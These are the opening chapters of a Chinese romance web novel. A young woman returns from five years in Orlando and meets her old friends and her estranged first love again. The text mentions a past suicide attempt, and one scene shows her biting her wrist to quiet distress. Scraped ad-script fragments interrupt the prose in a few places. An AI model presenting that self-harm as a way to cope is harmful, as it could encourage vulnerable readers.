《那经秋来》 1. 重逢 襄城时间10:00 从扬市起飞,途径一千五百六十多公里,斜跨半张地图。 柏璟晕机晕的厉害,出发之前又两天一夜没睡。 出机场的时候,她脚步都有些虚浮,只觉得地面像水波纹一样,起伏不定,站都站不稳。 机场外,自己比染了一头白金色的好友先找到对方。 这个发色确实扎眼。 襄城多风,毫不客气的呼呼刮在她脸上,夹杂着北方独有的干燥,她甚至能感受到空气中微小的颗粒。 柏璟把口罩戴上,又把帽檐往下压了又压,走到好友身边时,女孩还没反应过来。 她伸手拍了拍那人肩膀,小声道:“黎妆,是我。” 几乎是她开口的下一秒,柏璟就被女生抱了个满怀。 黎妆比她高上几厘米,微微弯身之后,下巴恰巧可以搁在她肩膀上。 她哑声说:“阿璟,好久不见。” 旁边路过一小堆人,似乎在议论着什么,柏璟侧过脸:“再这么抱下去,我就晕死在机场了,两天没吃饭了,你也不想我来襄城第一天就上个新闻头条吧?” 比起五年前柏璟离开那会儿,现在的她更沉稳。 不过。 黎妆皱眉,称之为沉稳有些不恰当,更像是一潭死水,毫无波澜。 青春时期的柏璟虽然算不上活泼,但也远没有现在的死气沉沉。 黎妆开车来的,不是她朋友圈里常出现的那辆的马丁,而是换了一辆宾利。 柏璟看了眼车牌,果然,是简侵那辆。 心中对二人目前的关系已经了然,柏璟也不打算多问,如果想说,黎妆后续自然会跟她讲个清楚。 坐上副驾后,闻着车内的香薰,柏璟缓慢的深呼吸,平复着胃里翻涌着的恶心。 “从老美回来,怎么想起来先去趟扬市?”黎妆一边询问,一边不忘骂着旁边插车的那辆车主,“挤挤挤,你丫挤牙膏呢?” 一个星期前,柏璟从奥兰多起飞,转机三个多小时到纽约,又马不停蹄用十几个小时飞回国内,在扬市呆了没几天,时差都没来不及倒,便联系了自己又飞到襄城。 “我有个老物件儿落在那儿,念了大半年了,总得去拿回来。”柏璟说着,摘下口罩,苍白的唇下面是两颗尖尖的唇钉。 黎妆用余光瞥了一眼旁边的人,见她神色淡淡,便多了句嘴:“我听说前两天,温公子也去了趟扬市,我还以为他……” 我还以为他知道你回来了,故意去的。 可惜这句话没说完,柏璟就打断了:“没碰上,我们两个没碰上。” 扬市虽然不大,但也不是她家三室一厅,没那么容易相遇。 襄城的路实在是堵,黎妆家离机场并不算远,却也停停走走的开了一个多小时,差点赶上她飞的时间了。 黎妆这人年轻时候就放言:“买房干嘛,多拘束,走到哪儿都得想着自己在哪儿有一套,在哪儿又有一套,干脆租着住,看腻了就搬,这年头好房子不好找,精装修的租屋还不到处都是了?” 她最近的住处是一所小二层的小别墅,不大,但装修足够精致,房子前两侧两块草坪,种着几棵腊梅,这个季节还是光秃秃的。 “简侵出差,这几天不在,你就安心住下调养精神,顺便陪陪我。” 也权当陪你自己。 黎妆说着,指了指二楼最右侧那个房间,“你说你喜欢黑白配,房间里贴的墙纸、床上四件套,就连台灯我都给你换了一水儿,包满意的。” 柏璟的行李还没寄来,有些东西还得当天去买,黎妆下午有个单子要处理,算是陪不了她。 好在襄城变化不大,该走的路她大多都还记得。 黎妆出门前把钥匙给她:“这串特意为你准备的,拿着就行,就算哪天搬出去想回来了,随时来。” 隔着窗户看向外面,柏璟脑袋放空,忽然之间,好像又看见个什么人影儿闪过,她瞳孔震颤,仔细着去寻找苗头的时候,却发现只是幻觉一场。 像这样的事儿,她在奥兰多经历了无数次,差点给自己整成精神分裂。 躺到下午两点,柏璟才恢复了一些元气,外面的温度炙热,活像要把人烤熟一般。 她回来的事情只告诉了黎妆,知道内情的大概可以再加上一个简侵,其余的“朋友”包括家人,一概没有通知。 不过,应当也不会有人欢迎她回来。 柏璟是个很矫情的人,这股劲儿在她读书的时候很明显,随着年龄增长,不但没有消减,反而愈加强烈。 倒也是,从小养尊处优的人,是该给自己添点儿“公主病”。 把防晒喷雾喷了一次又一次,柏璟才放心的出了门。 上车给司机报了尾号,师傅从后视镜里瞄了她一眼。 柏璟神色淡漠的回视过去,两颗钉子在唇下被阳光一照,闪闪发亮。 她不爱喝水,嘴唇上常年有细小的伤口,打钉子的时候没少受罪,消炎药断断续续吃了小两个月。 奥兰多那边同是国人的合租室友经常嘲笑她受罪装.b,又是何必,她一边把药片嚼碎了往下咽,一边朝着对方竖中指。 那经久不消的苦味儿似乎又要在嘴巴里面蔓延开来,柏璟下意识咽了一下。 口干舌燥。 出租车路过万禾,一排排的大楼列码在一大块儿土地上,司机啧啧有声:“哟呵,这铂翰宫近几年真是赚不少钱,房价越来越贵,跑半年出租也买不下一个厕所。” 柏璟没有回应,连眼神都没有分给外面的寸金寸土。 司机见她沉闷,便又试着搭话:“姑娘,我瞧你不像本地人吧?” “扬市的。”柏璟轻声说。 “我说呢,看着就是南方那边的。哎我可听说,扬市那边风水好的哟……” 柏璟舔了下嘴唇:“都是诳人的,要不然也不会每年北上那么多人了。” “姑娘你这是来襄城寻亲戚呢?还是工作呢?” 柏璟睁着眼睛说瞎话:“老公出轨了,我来捉奸的。” 这话把司机的热情算是给彻底浇灭了,活这么几十年来,从小到大都是负责活跃气氛的主要人物,在平平无奇的一天,接了平平无奇的一单,被这么个小姑娘给终结了。 到达目的地,眼看着柏璟下车后,司机重重的低下头,他可真不是个人,怎么还往人伤口上直戳呢? 眼前的建筑物早已经不是五年前那番模样,不知道又往上盖了几层,柏璟懒得去找不同,侧身绕过来往的人群进了门。 生活区在三楼,柏璟站在手扶电梯上,微微抬头,前面就是一对儿穿着校服的男生女生,她看了眼校牌,微微愣住了—— 襄城一高 脑子里面像播放PPT一样,一帧一帧的闪过几张画面: 首次来襄城找黎妆的那个车站, 她身后跟着那时便很狂妄的简侵, 以及日后高三二班教室后头成天被罚站的某个人。 她不自觉握紧拳头,把手心掐出几个甲印来。 刺痛感把她从回忆里拉出来,柏璟有些慌乱的大步跨到电梯顶部,试图压下剧烈跳动的心脏。 坐在休息区缓了许久,柏璟才重新冷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 静下来。 把必需的一些物品扔进购物车里,结完账上楼去了另一个区域。 好歹跟黎妆许久未见,礼物还是要备一份,她不喜奢侈品,爱好极具小众,养了几条异宠在住的地方。 楼上是个花鸟市场,什么稀奇古怪的小玩意儿都有。 柏璟记得回国前跟黎妆通话,她抱怨过简侵给她搬家的时候不小心弄丢了一只巴西彩树蜘蛛。 花纹斑斓,市场价三千到一万不等。 柏璟是有些怕这种多足生物的,她觉得任何活物,超过四条腿简直就是大自然的bug。 好在之前做足了功课,跟店长面前也能侃几句,不至于被对方看出来自己太外行而坑她。 听到是要送人,店长贴心的给她准备了不透明盒子,好让收礼物的人拆开的时候足够感到惊喜。 也给怕这玩意儿的柏璟一个心理建设。 这座商贸大楼离铂翰宫并不远,柏璟翻着手机里的新闻内容,随着近几年襄城的经济发展,这一整块儿区域都随着铂翰改了名字,隶属于万禾区。 几年前走的时候,万禾铂翰宫背后那几个股东极近濒临抵押破产,想不到这五年时间不到,就重振旗风,独占鳌头。 柏璟脚步顿了一顿, 这里头少不了那个人的付出。 几条街道纵横交错,柏璟站在交叉街口,一时间有些迷茫。 这就算是回来了? 奥兰多那五年说难熬也并不难,但硬要称自己过得很好很顺利也实在算不上。 去年开始,她那许久未见的爹就开始给她安排各种相亲,想见的不想见的给介绍了个遍。 只是大多都停留在了连名字都未可知的阶段上。 正这么想着,手机便开始叮铃铃的响个不停,柏璟看了眼来电显示。 黑体大字三个—— 池潭生。 她不太想接,但也知道躲不过: “喂?” 那边声音有些细微的嘈杂,池潭生的声色很独特,说一句话就像喝了半瓶高浓度调酒,带点沙哑的荡漾:“柏璟,回国了也不联系一下老朋友,太不够意思。” 她抽出空瞧了眼朋友圈,果不其然是黎妆发了条动态: 是她在副驾驶上低头假寐的侧脸。 “回来没多久,还没来得及通知。” 柏璟语气淡淡,像是描述自己少吃一顿饭那样。 池潭生:“少来,合着老子是最后一个知道的吧?我还在北城这儿,过几天去襄城,到时候抽空见一面?” 柏璟闭了闭眼,止不住的轻叹:“到时候再说。” “别给我来再说这一套了,回去之后等我约你。”那边说了句之后停了一下,又带点恨铁不成钢的意味,“跟温恒年闹那一出,就干脆连带我们这几个都不联系,你至于吗?” 该来的总会来,她接电话那一瞬间就想到池潭生肯定会提及这个名字。 “池潭生,你们都觉得是我在作。”柏璟声音夹杂了些凉薄,“那个时候那种情况,除了我离开,还有更好的办法吗?” 听她这口气,池潭生便知道是顺毛顺歪,一巴掌打在她脸上了:“谁怪你了?我恨不得温恒年你俩就此结束,也好给我这个备胎留个机会不是?” 那人的话柏璟是一句接一句的不想听,干脆直接挂断。 过了两分钟,微信里弹出一条消息: 【不过总归是回来了,你离那么远,我们到底也不放心】 柏璟没回,一如既往。 已读不回种子选手。 国家一级忽视运动员。 2. 重逢 黎妆回来已经是大半夜,进门时余光瞥到沙发上窝着的人影儿。 心底一颤之后轻声问道:“怎么不开灯?” 那人影身上披了个毛毯,冷气开到最低,柏璟就那么躺着,没玩手机也没做其他。 半晌之后,就在黎妆以为她其实是睡着了时,女生才慢慢开口:“下午我去了趟万禾那边,给你买了个小宠物,在你房间门口柜子上搁着,我不会养,也没往你那温箱里放。” 言简意赅,但黎妆还是捕捉到了她话中的重点:“万禾区?铂翰那边?” 柏璟坐起身看向她:“嗯,天不遂人愿,买完就接到了池潭生的电话,托你的福,他那张嘴,这会儿大概那一圈儿的都知道我回来了。” 言语之中有些无奈,倒也不是怪黎妆,这消息迟早会传出去,她只是短时间内还没想好怎么面对,又怎么给自己铺后路。 黎妆眉头一挑:“巧了,半年没联系的温公子那会儿突然给我发消息问我的订婚宴他能不能来参加。” 由头是奔着谁来的,她心里门儿清, 柏璟脑子转了许久,才缓慢的接收了这条重磅消息:“订婚?” “嗯,你来襄城的前半个小时决定的。”黎妆俏皮的眨眨眼,跟她那张看人一眼能把人的魂儿勾出来的脸完全不搭。 “简侵跟你求婚了?”柏璟说着,心里了然,“也对,这么几年了,也该求了。” 黎妆叹气:“要不是防着你哪天又悄悄跑了,到时候我连个递戒指的伴娘都没有,也不至于才26岁就把自己嫁出去。” 她把手机里的信息翻出来递给柏璟:“喏,求婚求的匆忙,直接微信上说了,要不要瞅一眼戒指,那钻可大个儿了。” 说到最后一句时,黎妆笑的狡黠。 点开图片,柏璟看了又看,赞同道:“确实够量,简老大这是终于按耐不住了,用我当借口拿捏你呢。” 黎妆坐在她身旁,往后一趟靠在沙发上:“那怎么办?我再拒绝了去?” “可别,到时候简侵再把这账算到我头上,这么大个钻戒我可赔不起。”柏璟开玩笑似的笑着。 黎妆呆了几秒,随后才松懈下来,痴痴的看着天花板:“这么久了,我这会儿坐在你边儿上,面对面跟你说话,这画面就像假的一样。” 柏璟把她的手握在掌心:“感受一下我的体温,黎妆,这是真实的。” 黎妆鼻尖有点酸,但久别重逢泪洒满地的戏码实在不适合她,只能带着浓重的鼻音损她一句:“空调开这么低,你那体温还是正常人该有的吗?” 柏璟垂眸,半透明的防晒衣下隐隐约约露出手腕到小臂那一段的疤痕,一块儿烧伤中那几道缝过的痕迹特别突出,有深有浅。 丑陋无比。 黎妆捏了捏那一处:“去奥兰多第二年你自杀那次,我恨不得把你家老宅烧了,简侵了解我的性子,把我关家里,工作上的事儿都够他焦头烂额,硬是请了一个星期的假看着我不许我出门。” 她短促的笑了下:“不过,拦得住我,也没能拦住温公子,温家那年势头初起,也不知道他用了什么办法,吞了柏老头好几个大单,给那老登气的差点中风住院。” “阿璟,你知道吗?”黎妆侧过脑袋看着她,眼底情绪不明,“那一年温恒年说了一句话。” “如果柏璟救不回来,我拉着柏盛昌一起,给她陪葬。” 柏璟沉默许久,接着嘲弄的笑出声:“我真是太久没见他,不了解他了,这种二b的话也能从他嘴里说出来,真是有生之年。” “所以阿璟,别逃避,就算没有结果,也至少给这段感情填一个结局吧?”黎妆轻声说着。 “我既然选择回来,就没想过再走。”柏璟低头,声音压的很低,“我只是…还没想好,没想好怎么再次面对他。” 当初是她不打招呼就离开,温恒年足够了解她,离开的各种前兆那人都看在眼里,硬着头皮跟她对戏,装作没有破绽的模样往下演。 骄傲如他,一直到柏璟登机,都没多说一句话。 只在柏璟落地的时候,她收到了来自那人的一条短信:【柏璟,好好过,千万别再回来。】 谁说文字没有情绪,这短短一句话中,柏璟把温恒年的咬牙切齿体会了个遍。 他恨她吗? 大约是恨的。 想到这儿,柏璟如释重负一般:“订婚宴安排在哪儿?什么时候举办?我这个准伴娘不得去挑几件礼服给我们妆姐长长面子?” 黎妆愣了下,知道她是下定决心了:“今天周三,下礼拜六,在恒裕酒店。” “行,该招呼的都招呼声吧,我这次是真的,回来了。” -夜晚寂寥 柏璟翻来覆去的难以入睡,明明没开空调,却浑身止不住的发冷,虚汗一波接着一波的往上翻。 她艰难的坐起身,下唇被咬的发白渗血,手腕上的伤疤瘙痒的厉害,已经过去这么久,皮.肉之下还是会有割裂感。 她张开嘴,往抬起来的手腕处咬去,直到那股劲儿被疼痛压制,心里才舒畅起来。 当年收到那条短信后她也没回复,微信上点开温恒年的名片,才发现不知道什么时候被他删除了。 柏璟自杀后的一星期,脑子混沌到不行,一次半夜,她接到了一个陌生号码的电话,没声音。 她起初以为是打错了,清醒过来后已经过去了小半个月。 找人查了那通电话的ip地址,显示拨出的时候正是在奥兰多。 她猜测过是温恒年,于是好不容易有几分清明的头脑,在药物加持下一度分不清是梦境还是现实,过去与当下交织,差点要了她的命。 柏璟真该感叹一句自己的顽强,才没在这种折磨中交代过去。 起床嗑了两片药,她心底才慢慢稳下来。 其实这药对她来说效果已经不大起作用了,但只有嘴里还能尝到那个苦味儿,柏璟整个人才能安定。 拉开窗帘,外面路灯昏黄。 柏璟努力眨了眨眼,又皱眉。 那路尽头拐角处明显是闪过一个背影。 几乎下一瞬间,她又以为是自己药物副作用。 在美国时柏盛昌给她安排了个心理医生兼保姆,名义上是照顾她的起居,实际是监视。 起初她出个门甚至上个厕所都要被报备出去。 有那么一次,她假意换锁,定制了很特殊的开锁方式,看上去是要用钥匙打开,实际上是用与背景色融为一体的指纹解锁。 她装作出门的样子,看到那医生打了个电话,不一会儿便又来了个男人,两人偷偷去开锁,目的应该是偷钥匙。 柏璟悄无声息的走到她背后,伸出一只手指摁在指纹面上。 叮铃。 门开了。 医生惊慌失措的僵住身体看她:“柏小姐…” “要进我房间这种小事儿,不至于找个撬锁师傅。” 随后柏璟报了警,用试图窃取他人财物的罪名让那人罚了款,又强制开除。 从那之后,她搬家隐藏住处,跟柏盛昌一刀两断。 自此被断了生活费,好在她的存款够她活个半年,不至于一下子没个出路。 直到给她疯狂安排相亲,她都没跟柏盛昌说过一句话。 叮—— 柏璟看向床面上突然亮屏的手机,是黎妆: 【还没睡?】 柏璟顺手把手机捞过来回复: 【还没,怎么了?】 聊天框最上方的“对方正在输入中”断断续续显示了两分钟,才发过来新的消息: 【温公子刚问我要你联系方式,我给他了】 柏璟打字的手一顿。 “嗯”,然后删除。 【知道了】 黎妆:【睡不着的话 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来我屋唠两句?】 看到这儿,她没再回复,出了房间直走尽头就是黎妆的屋。 她没敲门,知道对方肯定会给自己留门。 进去之后,屋子里微微的腊梅香瞬间塞满她整个鼻腔。 看向床头,是黎妆自制的熏香。 黎妆卸了妆的样子没那么张扬锋利,平添几分清冷的妖媚,但看上去仍旧不好接近。 白金色的发在充斥着整个房间的蓝色氛围灯下显得愈加发白。 “简侵刚查完我岗,这男的还是那么事儿逼,生怕我出去喝酒。”黎妆面上嫌弃,语气中却是得意。 “他什么时候回来?”柏璟坐到床的一侧,往下躺了躺。 床挺软。 “估摸着还得三四天,那边的债不好要,死皮赖脸拖了小半年了。”黎妆想起来就头疼。 刚认识简侵的时候,柏璟就觉得这人看着实在不好相处,熟悉之后她才觉得自己看人真准,确实难搞。 “还有简侵简老大搞不定的人,也算个人才了。”柏璟笑着。 “他妈的没见过这么不要脸的人,我也真是操了。”黎妆说话方式变化不大,脏话还是一水儿的顺口。 “怎么?这才分开几天,就想了?”柏璟真诚发问。 黎妆撇了嘴:“想倒也算不上,只是一天四五通电话的查,让我受不了。” 随后她又想起来什么似的:“不过被人管着惯着的感觉,还不错?” 柏璟正想开口,便被信息提示音打断。 点开一看,是个好友申请。 黎妆揶揄着:“我当温公子多稳得住呢,这才几分钟过去,就巴巴儿的加你了。” 柏璟没通过也没拒绝,把手机灭屏放下。 “我当他胆子大,会直接给你打电话来着。”黎妆道。 “大约他也不知道这么久不见该说点什么好。”柏璟替那人找了个理由。 几乎是下一秒,电话就打了过来。 黎妆笑的大声:“看,坐不住了。” 柏璟挂断,返回微信同意了好友申请。 温恒年的昵称就是他本名,柏璟连备注都不用给。 他没发消息来,却给柏璟三年前的朋友圈点了个赞。 这还真挺是他的作风。 这边儿没个动静,另一边总要有个人跳脚。 收到共同好友消息提醒时,池潭生手中的酒瓶都掉了下去,点开微信果断的发了条语音。 柏璟眉尾下意识抽搐一下,犹豫着要不要听的几秒时间,那边就又叮叮咚咚发了三四条。 她逐一点开: “草,温恒年怎么点赞你了?” “不是,你加他了?” “不对,他加的你?” “妈.的,黎妆给牵的线儿是吧?” 三言两语之间,把经事人给骂了个遍。 黎妆无辜耸肩:“我可是经过你同意了。” 柏璟打字: 【早晚都得遇上】 池潭生手都在颤抖: 【那至少也不能是跟我同一天!】 柏璟:【...】 池潭生:【柏璟你说句话啊】 幼稚。 又太叨扰人,柏璟干脆开了消息免打扰。 黎妆看着她这一通操作,感叹:“池少爷要是知道了这得多伤心,今儿晚指定是睡不着了。” “睡不着就让他找个夜班上。”柏璟嘴角一扬,说出的话毫不留情。 “我可是知道,前些年柏老头给你介绍男朋友,池潭生就是第一个吧?”黎妆有意八她的卦,自然不会只提这一嘴,“听说还是他主动上门求的?池少爷也挺多情,在外万花丛中过,对你还秉持着一往情深。” 柏璟:“对我他就是玩个乐子,这种逗人的混球话你也当真?” 黎妆带笑,意味不明:“是你太没放心上。” 3. 重逢 黎妆跟柏璟打了赌,她押池潭生绝对先比温恒年坐不住。 柏璟不以为然。 谁知赌约第二天下午,池潭生风尘仆仆,拎着行李箱出现在了黎妆小别墅的门口。 开门看见那张脸的时候,柏璟差点以为自己在做梦:“你怎么来了?” 池潭生微微喘着粗气,好不容易平复下来的呼吸又开始起伏:“我再不来,你就又跟温恒年好上了。” 他话中带刺儿,柏璟轻啧:“池潭生,你为什么就改不了你那瞎想的毛病?” 男人已然不是五年前的那副吊儿郎当的模样,焕然一新的是一身清隽风发,不变的是面容,一如既往的男狐狸长相,略长的头发在脑后扎起一小撮儿。 只是眼底多了几分深沉。 “那你发誓,保证以后不会跟他有任何牵扯。”男人说着,眼神中掺杂着些许期盼。 “……开车这么久跑过来,肯定没吃饭吧?我请你?”柏璟有意要回避这个话题,却被粘着不放。 池潭生往前一步,身形投射下的影子立刻就把她的轮廓包裹进去:“进屋。” 说罢,不给柏璟反应的机会,捏着她的肩膀把人推了进去。 感受到手中的触感,肩膀的厚度。 池潭生脑后一阵阵儿的发疼,这厮还真是不会照顾自己,瘦的几乎硌手。 “五年,你都没让我去看你,发消息十次有八次装死看不见。”男人声音嘶哑,像是抽了数支烟,“要不是我去找柏盛昌主动要求联姻,你是不是就打算这么把我忘了?” 柏璟沉默,池潭生倒也不继续逼问: “这次回来,就不走了吧?” 愤怒之后,又是小心翼翼的措辞,几乎带了点儿祈求似的。 “嗯,不走了。”柏璟舒了口气,语气添了几分安抚的意味。 池潭生紧绷着的神经松懈下来,不走就好,其它的事情来日方长。 想到这儿,他自顾自走到沙发前坐下。 “回来之后有没有回老宅看过?”池潭生问。 柏璟摇了摇头:“没来得及,一大堆儿破事都在等着我处理,还没想好先搞定哪一件,干脆等黎妆订婚宴结束之后再回去吧。” “行,到时候我陪你一起,省的回去撞见柏老头,你再走不了。”池潭生一边说,一边抬起一只手揉着眉心,他熬了个大通宵,几乎是刚忙完就订了机票赶回来,该死的飞机延误了一小时,要不然还能早点见到对方。 他侧目望去,才发现柏璟唇上那点儿不同:“什么时候打的唇钉?” “挺久了,在那边搞的。”柏璟随口应着,去冰箱拿了瓶冰饮扔给男人。 池潭生顺手接着:“不学好,那玩意儿难恢复又疼,没少受罪吧?” 柏璟轻笑:“池潭生,不是每个人都跟你一样怕疼的。” 说到这句,她一顿,又想起来高中时候池潭生跟温恒年打架,回去之后这厮嗷嗷叫着嚷着要让她给他涂药, 男人应该也是想起来这件事儿了,半晌之后自嘲似的一笑:“你记不记得有一年,我被温恒年打了一顿,结果你这死人居然不站在发小这边儿?“ 柏璟有些佩服这家伙颠倒黑白的能力:“明明就是互殴,别说的跟自己吃了多大亏似的。” 池潭生立刻坐起身来:“你看!你到现在还护着他!” 意识到自己反应过度,他咳嗽几声清了清嗓子,易拉罐在指间“啪呲”一声打开,往下灌了几口之后,碳酸气泡水在齿间蔓延。 牙根有些发酸,不知道是因为饮料还是往事。 自从加上联系方式之后,温恒年便没了动静,柏璟又不喜欢留聊天条在手机里,痕迹一删除,好像她回来之后温恒年从来没有出现过一样。 “你这次回来柏老头大概率就要把你往公司拉了,不过昌盛这两年不太景气,拉你进去也是为了摆平温家的纠缠,说白了就是个坑。”池潭生说着,手有些颤抖,“所以说,你要不要考虑来我这儿做,职位随你挑,工资待遇都按最高的来。” 说罢,他又痞笑:“或者你想直接当老板夫人,也不是不可以。” “专业不对口,我去了也是个摆设。”柏璟笑眯眯的拒绝,五年的磨练让她能很好的收敛自己的脾气,凡事先笑对,“还有,老板夫人这个位置,留给更对的人吧。” 似乎是不太习惯柏璟这副模样,池潭生倒在沙发里,疲惫感瞬间充斥他浑身:“简侵跟黎妆订婚,你总不能一直住在这儿,南郊那块儿我有套房,虽然不大,但是你一个人住也还算凑合,而且离我分公司挺近……” 柏璟明白他是想拉自己一把,离他近些:“我已经找好地方了,不用为我.操心那么多。” 空气有许久的凝固,池潭生止不住的想叹气,却还是把那口气咽了回去,闭上眼睛不看她,长哀一句:“随你怎么样吧——” 池潭生没呆多久,来估计也只是为了确定她跟温恒年还没正式见上面,不多做停留的便走了。 听他的话是分公司有个合同一直签不下来,得亲自去看一眼。 临走前柏璟问了嘴:”你住哪儿?” 池潭生宽宽一笑:“老子这个身份,肯定住五星级总统套房。” 还能开玩笑,柏璟便明白他暂时放心下来了。 - 夜还未深,黎妆下班前一个小时给她通了个话,大概意思是高中班长搞了个什么同学聚会,问她要不要参加。 柏璟想了想,寻思没什么事儿,便应承下来。 黎妆是乐意见她愿意出去走动的,乐呵呵的给她订了套上的了台面的衣服送上门。 柏璟瞧了眼手机上的时间,大约这会儿也该到了。 门铃响了几声,柏璟朝着门外喊了声:“先放在门口吧。” 那边没有动静,过了几秒钟之后又敲门:“是我。” 这声音很耳熟,柏璟几乎是下一秒就听出来了是谁。 正在忙着整理客厅的动作停下来,她直起身子,觉得背部格外僵硬。 隔着一扇门,柏璟透着猫眼往外看,却只能把对方的身形瞧个大概。 似乎是意识到门里面的人在观察,男人往后退了几步。 柏璟看清楚了。 落在门把手上的手腕迟迟压不下去。 温恒年没有逼她太甚,总要留给她一个喘气的过程,弯身把手中的盒子放在旁边的小柜子上,低声道:“柏璟,欢迎回来。” 叫她的名字的时候,温恒年的语气格外轻柔,直到男人转身离去了有一会儿,柏璟才反应过来。 开门的动作慢之又慢,柏璟侧过身慢吞吞把礼盒拿进来。 不知道是不是她的错觉,总觉得盒子上还残留着一丝温度。 她没有去问黎妆为什么来送衣服的是温恒年。 礼盒上某个logo格外刺眼。 柏璟轻轻摸着上面镀金色的表层,是磨砂的质感。 这一天见到的旧识太多,她的大脑暂时还接收不过来。 黎妆来接她的时候,柏璟恰好化完一个淡妆,化妆品的颜色很好的遮盖了她原本苍白的气色。 一只手搭在车窗上弹烟灰的黎妆瞧她出来,吹了个口哨:“总算有点活人的感觉了,前两天你那要死不活的状态给我担心坏了。” 柏璟弯身坐进副驾驶,把车靠往后调了调躺下去:“回来没多久,还没调整过来,过段时间就好了。” “池潭生那小气鬼还生着我气呢?给他发订婚宴的请帖都不带理人的。”黎妆说着把手机扔给她,屏幕上是一段聊天记录。 柏璟草草扫了一眼,顺势灭掉手机屏: “被你说对了,他今天下午来这儿找我了。” 听闻这话,黎妆有点兴奋:“我就说,池潭生那些行为绝对不是开玩笑的。” 柏璟一副“你看我想听吗”的样子,无奈道:“可我们只能做朋友。” “也是,中间有个温公子横插一脚。”黎妆漫不经心道, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “那会儿你跟谁都不接近,池潭生算得上是能跟你挨得近的男生,我还以为你们俩会将过且过,谁知道转来襄城后碰见个温恒年。” 她说着笑着:“池潭生往后肠子都能悔青。” 聚会的地点是一个近两年才建起来的饭店,考虑着多年未见,柏璟在车上把黎妆手机里的毕业照重头看了一遍,下车的时候一眼认出门口等待的班长。 跟着黎妆过去的时候,可惜班长似乎没能认出她:“黎大美女这是带了个朋友来啊?” 柏璟也不说话,站在一旁安静的呆着,脸上挂着浅笑。 黎妆愣了愣,疯笑出声:“这咱们班柏璟。” 班长表情有微微的凝滞,又很快调整好状态:“柏璟啊,那还真是挺久没见的。” 她总觉得班长对她的到来不太支持,这点从那人奇怪的态度中就能感觉到。 进了酒店门,黎妆找包间的路上,才想起什么来:“噢对,我都忘了跟你说这事儿,你走的几年,班长入职了温公子家的公司,因为工作方面,两人走的还挺近。” 那难怪,柏璟对刚才的疑惑有了个底儿。 “只可惜襄女有情,神王无意。” 推开包间门,里面到的人已经挺多了,从为数不多的记忆中扣扣搜搜勉强把几张脸跟脑子里的名字对上号,柏璟废了很大劲儿。 还是有人记得她的。 听着旁边人的窃窃私语,柏璟嘴角小幅度抽动了一下。 黎妆对这种场合游刃有余,本来高中那会儿她就人缘好,有人得知她喜事将近,惊讶的送上祝福。 只是这些人在面对她的时候,就显得有些尴尬了。 “柏璟啊…好久不见。” 大多都是简单一句寒暄,紧接着又假装跟别人讨论别的话题。 黎妆揽着她的手臂把她带到靠里面的一个座位坐下。 与此同时,门开了。 像是有预感似的,原本不算安静的包间因为这个人的到来而有了几秒钟的沉静。 “愣着干嘛?还不跟咱们温总打个招呼?” 这声音是班长的,雀跃的语气跟对柏璟说话的时候完全不一样。 柏璟没抬头,垂眸看着手机—— 但其实手机界面上什么都没有,她仅仅是在掩饰自己的紧张。 有人开着玩笑说班长时不时搞个聚会是不是就是为了温恒年。 班长把卷发挽在耳后,娇娇笑道:“咱们温总现在事业有成,我招呼你们来聚聚不还是为了你们多学习温总的能力?” 一群人没什么恶意的揶揄让两人看起来像是一对儿,众多欢声笑语中,柏璟安静的像个外人。 不过也对,本质上来说,她确实就算个外人。 不是从高一就有的情谊,又在上学期间没少出“风光”事儿,是个正常人都会远离她。 柏璟抬眸,目光匆匆在周围扫了一圈,经过门口的时候,与某个人的眼神撞上。 如约而至一般。 仅这一眼,她的呼吸就缓慢了许多,似乎空气变得更稀少了一样。 班长注意到两人的气氛,不动声色的抿了抿唇,微微侧身打断连接:“恒年,咱们坐靠外面这儿吧?” 温恒年面色沉静,缓慢的回话:“我太高,坐这边容易挡着,还是往里面靠吧。” 这话是为了谁,众人都心知肚明。 刚刚的起哄在温恒年一句话之后显得有些可笑,班长脸侧温度高升:“好,那我跟你一块儿。” 温恒年没应声,朝着黎妆和另一个男生中间的位置走去。 他的意思很明显了。 班长压下喉间的憋屈,僵硬的笑:“人到的也差不多了,先吃吧。” 在身边的人坐下之后,黎妆不着痕迹的往柏璟这边移了移。 柏璟:“?” 黎妆低声:“跟温恒年坐一块儿老有一种跟朋友的对象单独呆在一个空间里的窒息感。” 柏璟:“……” 4. 酩酊 16:00 手机屏幕上的时间恰好跳到整点。 柏璟看向车窗外,耳机里的音乐放到最大声也隔绝不开周围的嘈杂。 黎妆五分钟前发来消息说会在车站口等她,神秘戳戳的,还附带了一句:给你介绍两个朋友。 来襄城的前一天,她刚给母亲过完三周年,临近初三那年的这个时候,她还在葬礼上哭的眼圈红肿,整个人疯疯癫癫。 时间仿佛倒退了十个小时,柏盛昌带着怒气的吼声回荡着:“你要跟着黎家那浑人鬼混,以后就再也不用回来了!” 柏璟没把这句话放在心上,到底是她带了血缘的亲爹,话撂的再狠,生活费照样儿准点准时的打了过来。 她前面坐的是一对父子,小孩儿看上去年纪不大,嚷嚷着下车之后要吃什么东站口的肯德基。 那位父亲对他的请求不管不顾,着眼忙着打游戏,屏幕再次灰下来之后,小孩儿闹腾的声音更大了。 柏璟“啧”了一声,那小孩儿就隔着车座间的缝隙偷偷看她,模样胆怯的很。 也是,任谁看了柏璟这副样子,都会觉得她不是个什么正经人。 正值夏日,柏璟把挑染着灰紫色的长发高高梳起一个马尾,宽松的短袖下露着一条花臂。 只不过都是贴上去的。 ——为了装酷。 下车的时候,小孩儿拉着他爸跑的飞快,生怕柏璟是什么吃人的怪物。 车停下那一刻,柏璟就跟黎妆开了共享位置,她不太会看地图,艰难的跟着图标的方向往那边慢慢摸索着移动。 十几分钟后,她见到了黎妆。 以及少女身后跟着的两名男生。 其中一个寸头,眉目锋利,对上一个眼神就仿佛被掐住了喉咙一般。 柏璟下意识想到刚刚那个小孩儿要是在这儿,得被这人吓成什么样子? 在黎妆打招呼期间,柏璟看向更靠后那位: 明明是炎热的天气,他却穿着一件长袖,很薄的白色。 黎妆和那个寸头男乍一看都不好惹,浑身上下一股子旁人勿近的混样儿。 而现下在她眼中那位,跟他俩的气质丝毫不搭。 三个人站在一块,形成一种诡异的气氛。 “想什么呢?问你话都没心思回。”黎妆嘻笑着揽上她的手臂。 